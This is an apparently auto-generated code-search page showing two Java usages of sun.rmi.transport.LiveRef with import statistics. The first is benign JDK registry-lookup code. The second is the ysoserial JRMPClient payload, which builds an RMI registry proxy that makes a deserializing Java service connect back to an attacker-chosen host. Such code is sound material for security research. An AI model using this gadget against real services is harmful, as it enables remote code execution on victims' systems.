Search in sources :

Example 6 with LiveRef

use of sun.rmi.transport.LiveRef in project jdk8u_jdk by JetBrains.

the class LocateRegistry method getRegistry.

/**
     * Returns a locally created remote reference to the remote object
     * <code>Registry</code> on the specified <code>host</code> and
     * <code>port</code>.  Communication with this remote registry will
     * use the supplied <code>RMIClientSocketFactory</code> <code>csf</code>
     * to create <code>Socket</code> connections to the registry on the
     * remote <code>host</code> and <code>port</code>.
     *
     * @param host host for the remote registry
     * @param port port on which the registry accepts requests
     * @param csf  client-side <code>Socket</code> factory used to
     *      make connections to the registry.  If <code>csf</code>
     *      is null, then the default client-side <code>Socket</code>
     *      factory will be used in the registry stub.
     * @return reference (a stub) to the remote registry
     * @exception RemoteException if the reference could not be created
     * @since 1.2
     */
public static Registry getRegistry(String host, int port, RMIClientSocketFactory csf) throws RemoteException {
    Registry registry = null;
    if (port <= 0)
        port = Registry.REGISTRY_PORT;
    if (host == null || host.length() == 0) {
        // that the RegistryImpl's checkAccess will not fail.
        try {
            host = java.net.InetAddress.getLocalHost().getHostAddress();
        } catch (Exception e) {
            // If that failed, at least try "" (localhost) anyway...
            host = "";
        }
    }
    /*
         * Create a proxy for the registry with the given host, port, and
         * client socket factory.  If the supplied client socket factory is
         * null, then the ref type is a UnicastRef, otherwise the ref type
         * is a UnicastRef2.  If the property
         * java.rmi.server.ignoreStubClasses is true, then the proxy
         * returned is an instance of a dynamic proxy class that implements
         * the Registry interface; otherwise the proxy returned is an
         * instance of the pregenerated stub class for RegistryImpl.
         **/
    LiveRef liveRef = new LiveRef(new ObjID(ObjID.REGISTRY_ID), new TCPEndpoint(host, port, csf, null), false);
    RemoteRef ref = (csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);
    return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
}
Also used : RegistryImpl(sun.rmi.registry.RegistryImpl) TCPEndpoint(sun.rmi.transport.tcp.TCPEndpoint) LiveRef(sun.rmi.transport.LiveRef) ObjID(java.rmi.server.ObjID) RemoteRef(java.rmi.server.RemoteRef) UnicastRef2(sun.rmi.server.UnicastRef2) UnicastRef(sun.rmi.server.UnicastRef) RemoteException(java.rmi.RemoteException)

Example 7 with LiveRef

use of sun.rmi.transport.LiveRef in project ysoserial by frohoff.

the class JRMPClient method getObject.

public Registry getObject(final String command) throws Exception {
    String host;
    int port;
    int sep = command.indexOf(':');
    if (sep < 0) {
        port = new Random().nextInt(65535);
        host = command;
    } else {
        host = command.substring(0, sep);
        port = Integer.valueOf(command.substring(sep + 1));
    }
    // RMI registry
    ObjID id = new ObjID(new Random().nextInt());
    TCPEndpoint te = new TCPEndpoint(host, port);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
    Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, obj);
    return proxy;
}
Also used : TCPEndpoint(sun.rmi.transport.tcp.TCPEndpoint) LiveRef(sun.rmi.transport.LiveRef) Random(java.util.Random) ObjID(java.rmi.server.ObjID) RemoteObjectInvocationHandler(java.rmi.server.RemoteObjectInvocationHandler) UnicastRef(sun.rmi.server.UnicastRef) Registry(java.rmi.registry.Registry) TCPEndpoint(sun.rmi.transport.tcp.TCPEndpoint)

Aggregations

LiveRef (sun.rmi.transport.LiveRef)7 RemoteRef (java.rmi.server.RemoteRef)4 TCPEndpoint (sun.rmi.transport.tcp.TCPEndpoint)4 RemoteException (java.rmi.RemoteException)3 ObjID (java.rmi.server.ObjID)3 UnicastRef (sun.rmi.server.UnicastRef)3 UnicastRef2 (sun.rmi.server.UnicastRef2)3 Remote (java.rmi.Remote)2 Registry (java.rmi.registry.Registry)2 RemoteObject (java.rmi.server.RemoteObject)2 RemoteObjectInvocationHandler (java.rmi.server.RemoteObjectInvocationHandler)2 SslRMIClientSocketFactory (javax.rmi.ssl.SslRMIClientSocketFactory)2 RegistryImpl (sun.rmi.registry.RegistryImpl)2 UnicastServerRef (sun.rmi.server.UnicastServerRef)2 IOException (java.io.IOException)1 InvalidClassException (java.io.InvalidClassException)1 Constructor (java.lang.reflect.Constructor)1 InvocationHandler (java.lang.reflect.InvocationHandler)1 Method (java.lang.reflect.Method)1 MalformedURLException (java.net.MalformedURLException)1